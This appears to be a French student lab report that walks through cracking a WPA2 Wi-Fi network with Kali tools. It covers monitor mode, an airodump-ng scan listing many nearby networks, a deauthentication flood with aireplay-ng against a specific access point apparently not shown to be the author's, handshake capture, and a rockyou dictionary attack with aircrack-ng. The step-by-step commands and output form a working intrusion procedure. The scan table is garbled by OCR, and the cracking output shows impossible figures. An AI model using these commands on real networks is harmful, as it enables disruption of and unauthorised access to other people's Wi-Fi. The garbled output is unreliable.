# TP HACK WIFI

# Matériels que j'ai utilisé pour effectuer ce TP

A) Une carte wifi compatbile avec le mode écoute (Monitoring mode)



## B) Kali Linux



Etape 1 : Activer le mode ÉCOUTE sur la carte WiFi

1.1. Afficher la carte sans fil avec la commande : sudo iwconfig

Ici on aperçoit bien ma carte réseaux ainsi que son mode qui est ici bien en Monitoring mode.

# 1.2 Activer le mode d'écoute

Pour activer le mode écoute j'utilise la commande : sudo airmon-ng start wlan0



lci on aperçoit bien la référence de ma carte wifi.

# Étape 2 : Utiliser Airodump pour capturer les paquets

2.1. Analyser le trafic à proximité avec la commande sudo airodump-ng wlan0

—(root⊕ dylansoul		[~]							
	ig WLa	nø							
H 4 ][ Elapsed:	24 s	][ 2023-11-	-20 16:1	Ø					
SSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC CIPHER	AUTH	ESSID
4:9E:12:C9:2C:98	-93		0	0	11	105	WDA2 CCMD	PSK	fraches CIRTUN
4:E2:65:F0:FE:B4	-93	2 2	0	0	6	195 260	WPA2 CCMP WPA2 CCMP	PSK	freebox_GJBTUV SFR_FEB2
0:07:CB:B4:62:3E	-93	15	0	0	11	195	WPA2 CCMP	PSK	Freebox-B4623D
LC:57:3E:D2:6A:E0	-93	13	ø	ø	11	-1	WPAZ CCMP	FJK	<pre><length: 0=""></length:></pre>
E4:9E:12:C9:2C:99	-93	w Helps	ő	ő	11	195	WPA2 CCMP	MGT	FreeWifi_secure
18:90:D8:BF:37:C0	-93	100 (00 1 )	1 1 1	ő	6	130	WPA2 CCMP	PSK	kad
C:38:A1:A8:55:30	-82	16	) to 10	ø	6	130	WPA2 CCMP	PSK	SFR 552F
00:07:CB:B4:62:3F	-93	15	0	0	11	195	WPA2 CCMP	MGT	FreeWifi secure
34:DB:9C:4F:85:20	-93		1	0	11	130	WPA2 CCMP	PSK	Bbox-1A1D6A92
70:F3:5A:25:79:CB	-85	8		0		130	WPA2 CCMP	PSK	Livebox-da8c
70:F3:5A:25:79:CA	-93					130	WPA2 CCMP	PSK	Wifi_Cabinet
0:F3:5A:25:/9:C8	-84	13		0		130	WPA2 CCMP	PSK	Wifi_Admin
8:FC:20:62:7C:00	-75	48		0		260	WPA2 CCMP	PSK	Wifi_Admin SFR_7BFF
58:FC:20:62:7C:00 34:49:5B:70:58:36	-75 -82	48 22	6 5	0	6 6	260 260	WPA2 CCMP WPA2 CCMP	PSK PSK	SFR_7BFF Bbox-1BF87D7E
58:FC:20:62:7C:00 84:49:5B:70:58:36 DE:00:B0:16:87:90	-75 -82 -55	48 22 58	6 5 7	0 0 0	6 6 6	260 260 260	WPA2 CCMP WPA2 CCMP WPA2 CCMP	PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168
58:FC:20:62:7C:00 84:49:5B:70:58:36 DE:00:B0:16:87:90 -8:AB:05:02:FD:90	-75 -82 -55 -77	48 22 58 54	6 5 7 18	0 0 0	6 6 6	260 260 260 130	WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP	PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168 Bbox-9CA42E53
58:FC:20:62:7C:00 84:49:5B:70:58:36 DE:00:B0:16:87:90 F8:AB:05:02:FD:90 88:B5:C9:35:B2:20	-75 -82 -55 -77 -61	48 22 58 54 30	6 5 7 18 0	0 0 0 0	6 6 6 6	260 260 260 130 130	WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP	PSK PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168 Bbox-9CA42E53 Livebox-B220
88:FC:20:62:7C:00 84:49:5B:70:58:36 DE:00:B0:16:87:90 88:AB:05:02:FD:90 88:B5:C9:35:B2:20 LC:57:3E:3E:76:F0	-75 -82 -55 -77 -61 -75	48 22 58 54 30 32	6 5 7 18 0 3	0 0 0 0 0	6 6 6 1 1	260 260 260 130 130 260	WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP	PSK PSK PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168 Bbox-9CA42E53 Livebox-B220 SFR_76EF
88:FC:20:62:7C:00 84:49:5B:70:58:36 96:00:B0:16:87:90 78:AB:05:02:FD:90 88:B5:C9:35:B2:20 96:57:3E:3E:76:F0 92:66:CF:01:D3:84	-75 -82 -55 -77 -61 -75 -93	48 22 58 54 30 32 8	6 5 7 18 0 3 0	0 0 0 0 0	6 6 6 1 1	260 260 260 130 130 260 130	WPA2 CCMP	PSK PSK PSK PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39£168 Bbox-9CA42E53 Livebox-B220 SFR_76EF Freebox-61CB80
58:FC:20:62:7C:00 44:49:5B:70:58:36 DE:00:B0:16:87:90 08:AB:05:02:FD:90 88:B5:C9:35:B2:20 LC:57:3E:3E:76:F0 22:66:CF:01:D3:84 28:9E:FC:F5:E6:30	-75 -82 -55 -77 -61 -75 -93 -79	48 22 58 54 30 32 8 21	6 5 7 18 0 3 0	0 0 0 0 0 0 0 0 5	6 6 6 1 1 1	260 260 260 130 130 260 130 130	WPA2 CCMP	PSK PSK PSK PSK PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168 Bbox-9CA42E53 Livebox-B220 SFR_76EF Freebox-61CB80 Bbox-567DC4E9
58:FC:20:62:7C:00 34:49:58:70:58:36 0E:00:80:16:87:90 88:85:C9:35:B2:20 1C:57:3E:3E:76:F0 22:66:CF:01:D3:84 28:9E:FC:F5:E6:30 50:35:C0:53:E5:16	-75 -82 -55 -77 -61 -75 -93 -79 -71	48 22 58 54 30 32 8 21	6 5 7 18 0 3 0 15	0 0 0 0 0 0 5	6 6 6 1 1 1 1	260 260 260 130 130 260 130 130	WPA2 CCMP	PSK PSK PSK PSK PSK PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168 Bbox-9CA42E53 Livebox-B220 SFR_76EF Freebox-61CB80 Bbox-567DC4E9 SFR_E510
58:FC:20:62:7C:00 44:49:58:70:58:36 DE:00:80:16:16:87:90 78:A8:05:02:FD:90 88:B8:C9:33:B2:20 LC:57:38:38:76:F0 22:66:CF:01:D3:84 28:96:FC:F5:E6:30 50:35:C0:53:E5:16 LC:57:3E:5D:43:C0	-75 -82 -55 -77 -61 -75 -93 -79 -71 -81	48 22 58 54 30 32 8 21 40 8	6 5 7 18 0 3 0 15 0	0 0 0 0 0 0 5	6 6 6 1 1 1 1	260 260 260 130 130 260 130 130 130 260	WPA2 CCMP	PSK PSK PSK PSK PSK PSK PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168 Bbox-9CA42E53 Livebox-B220 SFR_76EF Freebox-61CB80 Bbox-567DC4E9 SFR_E510 SFR_43BF
58:FC:20:62:7C:00 34:49:58:70:58:36 DE:00:80:16:87:90 F8:AB:05:02:FD:90 38:BS:C9:35:B2:20 1C:57:3E:3E:76:F0 22:66:CF:01:D3:84 28:9E:FC:F5:E6:30 50:33:C0:53:E5:16 1C:57:3E:50:43:C0 44:D4:54:75:48:00	-75 -82 -55 -77 -61 -75 -93 -79 -71 -81 -93	48 22 58 54 30 32 8 21 40 8	6 5 7 18 0 3 0 15 0 1	0 0 0 0 0 0 5 0	6 6 6 1 1 1 1 1 1	260 260 130 130 260 130 130 130 260 130	WPA2 CCMP	PSK PSK PSK PSK PSK PSK PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168 Bbox-9CA42E53 Livebox-B220 SFR_76EF Freebox-61CB80 Bbox-567DC4E9 SFR_E510 SFR_43BF <length: 13=""></length:>
58:FC:20:62:7C:00 34:49:5B:70:58:36 DE:00:B0:16:87:90 F8:AB:05:02:FD:90 38:B5:C9:35:B2:20 LC:57:3E:3E:76:F0 22:66:CF:01:D3:84 28:9E:FC:F5:E6:30 60:35:C0:53:E5:16 LC:57:3E:55:43:C0 44:D4:54:75:4B:00 50:8D:26:06:BD:F0	-75 -82 -55 -77 -61 -75 -93 -79 -71 -81 -93 -93	48 22 58 54 30 32 8 21 40 8 5	6 5 7 18 0 3 0 15 0 1 1 1	0 0 0 0 0 0 5 0	6 6 6 1 1 1 1 1 1 11	260 260 260 130 130 260 130 130 260 130	WPA2 CCMP	PSK PSK PSK PSK PSK PSK PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168 Bbox-9CA42E53 Livebox-B220 SFR_76EF Freebox-61CB80 Bbox-567DC4E9 SFR_E510 SFR_43BF <length: 13=""> Livebox-BDF0</length:>
70:F3:5A:25:79:C8 58:FC:20:G2:7C:00 34:49:5B:70:58:36 DE:00:B0:16:87:90 F8:AB:05:02:FD:90 38:B5:C9:35:B2:20 1C:57:3E:3E:76:F0 22:66:CF:01:D3:84 28:9E:FC:F5:E6:30 50:35:C0:53:E5:16 1C:57:3E:51:43:C0 44:D4:54:75:4B:00 60:80:26:06:8D:F0 38:D9:4D:D0:32:10 1C:57:3E:63:0F:B0	-75 -82 -55 -77 -61 -75 -93 -79 -71 -81 -93	48 22 58 54 30 32 8 21 40 8	6 5 7 18 0 3 0 15 0 1	0 0 0 0 0 0 5 0	6 6 6 1 1 1 1 1 1	260 260 130 130 260 130 130 130 260 130	WPA2 CCMP	PSK PSK PSK PSK PSK PSK PSK PSK PSK PSK	SFR_7BFF Bbox-1BF87D7E Freebox-39E168 Bbox-9CA42E53 Livebox-B220 SFR_76EF Freebox-61CB80 Bbox-567DC4E9 SFR_E510 SFR_43BF <length: 13=""></length:>

Et ensuite la commande pour analyser le trafic à proximité et enregistrez les paquets capturés dans un fichier est :

sudo airodump-ng wlan0 -w test01

Étape 3 : Capturer le handshake WPA2-PSK

3.1 Pour capturer le handshake j'ai utilisé la commande airodump-ng pour enregistrer le trafic d'un point d'accès spécifique, une fois le résultat afficher j'ai copié le BSSID et le numéro de canal du fichier que j'ai créé à l'étape d'avant.

sudo airodump-ng wlan0 --bssid F0:9F:C0:AA:6C:B8 -c 6 --write test01

```
sudo airodump-ng wlan0 --bssid 38:B5:C9:35:B2:20 -c 1 --write test01
16:14:16 Created capture file "test01-01.cap".
CH 1 ][ Elapsed: 6 mins ][ 2023-11-20 16:20 ][ WPA handshake: 38:B5:C9:35:B2:20
BSSID
                                     #Data, #/s CH MB ENC CIPHER AUTH ESSID
                  PWR RXQ Beacons
                                                 1 130 WPA2 CCMP PSK Livebox-B220
38:B5:C9:35:B2:20 -49 82
                             3013
                                       201
                                             0
BSSID
                  STATION
                                    PWR
                                         Rate
                                                        Frames Notes Probes
                                                 Lost
Quitting ...
```

3.2. J'ai ensuite ouvert une nouvelle fenêtre de terminal et lancé une attaque deauth avec aireplay-ng

```
(root@ dylansoukali)-[~]
# sudo aireplay-ng --deauth 0 -a 38:B5:C9:35:B2:20 wlan0
16:16:31 Waiting for beacon frame (BSSID: 38:B5:C9:35:B2:20) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
16:16:31 Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
16:16:32 Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
16:16:32 Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
16:16:33 Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
```

La commande est : sudo aireplay-ng --deauth 0 -a 38 :B5 :C9 :35 :B2 :20 wlan0

Une fois cette commande effectué je suis retourne sur la fenêtre précédente.

```
(root@dylansoukali)=[~]
# sudo airodump-ng wlan0 --bssid 38:B5:C9:35:B2:20 -c 1 --write test01
16:14:16 Created capture file "test01-01.cap".

CH 1 ][ Elapsed: 6 mins ][ 2023-11-20 16:20 ][ WPA handshake: 38:B5:C9:35:B2:20

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:B5:C9:35:B2:20 -49 82 3013 201 0 1 130 WPA2 CCMP PSK Livebox-B220

BSSID STATION PWR Rate Lost Frames Notes Probes

Ouitting...
```

J'ai bien récupéré le WPA handshake qui se trouve donc dans le fichier «test01-01.cap »

3.3.a Il faut maintenant confirmer le handshake capturé avec aircrack-ng.

La commande est : sudo aircrack-ng test01-01.cap

On va maintenant chercher un dictionnaire déjà présent sur kali linux

```
(root@dylansoukali)-[~]
# ls /usr/share/wordlists
amass dirbuster fern-wifi legion nmap.lst sqlmap.txt wifite.txt
dirb fasttrack.txt john.lst metasploit rockyon.txt.gz wfuzz
```

Donc ici le dictionnaire écrit en rouge « rockyou.txt.gz »

Et enfin on lance la commande *sudo aircrack-ng test01-01.cap -w /usr/share/wordlists/rockyou.txt.gz* afin de trouver la clé.

```
<u>sudo</u> aircrack-ng test01-01.cap -w /usr/share/wordlists/rockyou.txt.gz
Reading packets, please wait...
Opening test01-01.cap
Read 86722 packets.
 # BSSID
                ESSID
                                 Encryption
  1 38:B5:C9:35:B2:20 Livebox-B220
                                WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening test01-01.cap
Read 86722 packets.
potential targets
                   Aircrack-ng 1.7
   [00:00:00] 539521/214239 keys tested (2928.09 k/s)
   Time left: -98538182 day, 38 minutes, 24 seconds
                                        251.83%
                    KEY NOT FOUND
   Master Key
             EAPOL HMAC
```

Ici dans mon cas la clé n'a pas été trouver a cause du dictionnaire qui est plutôt basique et donc pas assez efficace, mais je n'ai pas trouver de meilleur dictionnaire ou alors il aura fallu aller sur le darknet...